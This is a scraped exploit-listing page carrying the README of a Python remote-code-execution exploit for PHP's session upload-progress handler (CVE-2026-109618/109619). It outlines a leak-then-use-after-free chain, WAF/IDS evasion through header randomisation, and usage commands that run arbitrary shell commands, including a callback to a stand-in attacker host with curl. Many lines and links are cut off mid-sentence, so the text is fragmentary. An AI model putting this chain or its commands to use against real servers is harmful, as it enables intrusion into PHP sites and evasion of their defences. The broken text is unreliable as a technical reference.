Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
- ๐ฎ๐น [hackita.it/articoli/php2shell-cve-2026-109618-109619](
- ๐ฌ๐ง [en.hackita.it/articoli/php2shell-cve-2026-109618-109619](
- ๐ช๐ธ [es.hackita.it/articoli/php2shell-cve-2026-109618-109619](
- ๐ซ๐ท [fr.hackita.it/articoli/php2shell-cve-2026-109618-109619](
- ๐ฉ๐ช [de.hackita.it/articoli/php2shell-cve-2026-109618-109619](
- ๐ต๐น [pt.hackita.it/articoli/php2shell-cve-2026-109618-109619](
- [Improvements over the public PoC](#improvements-over-the-public-poc)
- [Affected PHP versions](#affected-php-versions)
- [Common one-liners](#common-one-liners)
A single-file Python 3 exploit (`poc_109618.py`) that chains the four stages
1. **Stage 0 โ Worker rotation.** A deliberately malformed multipart request
retires the current Apache prefork worker so the request lands on a
2. **Stage 1 โ Heap-base leak.** An oversized multipart form field triggers
an out-of-memory condition inside PHP's upload handler. Uninitialized
bytes bleed into response headers (notably `Set-Cookie: PHPSESSID`), from
which the exploit scans for userland pointers and derives the Zend MM
3. **Stage 2 โ libphp leak.** A second request forces session serialization
that leaves a page-aligned `zval_ptr_dtor` pointer in the response. From
it the exploit computes `libphp.so`'s base and `zend_call_function`'s
4. **Stage 3 โ RCE.** A crafted multipart request abuses the stale
`php_session_rfc1867_callback` (`ext/session/session.c`). After the
decoded progress tree is destructed, 149 packed `t[]` parts reclaim the
freed 320-byte zend_string bin with a forged `zend_fcall_info`.
`zend_call_function()` then invokes `system()` with the attacker's
For a line-by-line walkthrough of the vulnerability see
[`docs/vulnerability.md`](docs/vulnerability.md).
([eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC](
demonstrates stage 3 and expects a pre-leaked `zval_ptr_dtor` address passed
| Area | Improvement |
| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| Automation | Stages 0โ2 run automatically โ no manual leak step required on known profiles. |
| Profile fallback | `--profile auto` fingerprints via `Server` / `X-Powered-By`, then falls back across every known offset profile until RCE. |
| Pointer scanner | `Set-Cookie`, `Location`, response body and PHP error `0x...` strings are all searched (upstream looks only at `PHPSESSID`). |
| Heap-base candidates | 2 MB / 4 MB / 1 MB Zend MM chunk sizes are all tested; the most-voted one wins. |
| Memory footprint | The 2โ128 MB OOM blob is streamed on the wire by a generator; it never lives resident in Python. |
| WAF / IDS evasion | Boundary, `PHPSESSID`, `User-Agent`, `Accept-Language` and header order are randomized per attempt. |
| Response parsing | `Transfer-Encoding: chunked` responses are decoded before the scan to avoid false negatives. |
| Scheme autodetect | A scheme-less URL (`host/path.php`) probes HTTPS then HTTP. |
| Proxy support | `--proxy host:port` tunnels through Burp / mitmproxy over HTTP CONNECT. |
| Blind mode | `--blind` injects `sleep N;` and confirms RCE via timing delta when the shell has no visible output. |
| Robustness | Per-stage retry with adaptive stall backoff, response-size caps, graceful socket teardown. |
| Branch | Status | Fixed in |
| --------- | ------------------------- | ------------------------------------------------------------------------------------------------ |
| PHP 8.5 | Supported | **8.5.12** |
| PHP 8.4 | Supported | **8.4.27** |
| PHP 8.3 | Supported | **8.3.36** |
| PHP 8.2 | Security-only | **8.2.35** |
| PHP โค 8.1 | End-of-Life | No official patch. Disable `session.upload_progress.enabled` or apply a community backport. |
Pure Python 3 standard library, no dependencies to `pip install`:
git clone
# Full auto-leak + RCE against an authorized lab target
python3 poc_109618.py -c 'id>/tmp/p'
# With a pre-leaked dtor address (skips stages 1-2)
python3 poc_109618.py \
# Route everything through Burp, ignore self-signed certs
python3 poc_109618.py \
--proxy 127.0.0.1:8080 --insecure --dtor 0x7f...
# Blind confirmation when the shell has no output
python3 poc_109618.py --blind -c 'curl attacker/cb'
# Dump the stage-3 payload without hitting the network
python3 poc_109618.py --dry
| Option | Purpose |
| -------------------------- | -------------------------------------------------------------------------------------------------- |
| `-c, --command` | Shell command to execute via `system()`; prefix with `@` to read it from a file. |
| `--marker` | Unique string to grep for in the response to confirm RCE. |
| `--profile` | `auto` (default) fingerprints and falls back; or pick one by name. |
| `--dtor` | Pre-leaked `zval_ptr_dtor` address (skips stages 1-2). |
| `--call` | Pre-computed `zend_call_function` address (skips the delta math). |
| `--huge-mb` | Size of the OOM payload (2โ128 MB, clamped). |
| `--stall` | Seconds between phase 1 and tail (must exceed `session.upload_progress.min_freq`, default `1s`). |
| `--retries` | Attempts per stage. |
| `--backoff` | Extra seconds added to `--stall` after each stage-3 miss. |
| `--proxy` | Upstream HTTP CONNECT proxy, e.g. `127.0.0.1:8080`. |
| `--insecure` | Skip TLS cert validation. |
| `--blind` / `--blind-delay`| Timing side-channel confirmation. |
| `--no-pre-rotate` | Skip stage-0 worker rotation. |
| `--no-auto-leak` | Do not run stages 1-2 even if `--dtor` is missing. |
| `--no-shuffle` | Disable header-order randomization. |
| `--dry` | Dump the stage-3 payload to `body-109618.bin` and exit. |
The forged `zend_fcall_info` sits inside a reclaimed 320-byte string
(167-byte usable region after the `zend_string` header). The command is
copied directly into that carrier, so inline commands are capped at
**14 bytes**. For longer commands, pre-stage them in a scratch file
(for example via a tmp file upload) and launch with a short trigger such
- PHP source: `ext/session/session.c` โ `php_session_rfc1867_callback`
- **Core research and reference stage-3 exploit:**
[`php2shell-CVE-2026-109618-CVE-2026-109619-PoC`](
- **Hardening, auto-leak scanner, multi-profile fallback, streaming OOM,
blind confirmation, chunked parser, docs:**
[Hackita.it]( research.
This repository is published for educational purposes and authorized
security research only. Running the exploit against systems you do not
own, or do not have explicit written permission to test, is illegal in
most jurisdictions. The authors accept no liability for misuse.
The full story
This article is one source in a clustered incident โ the cluster page carries the summary, timeline and every other outlet covering it.
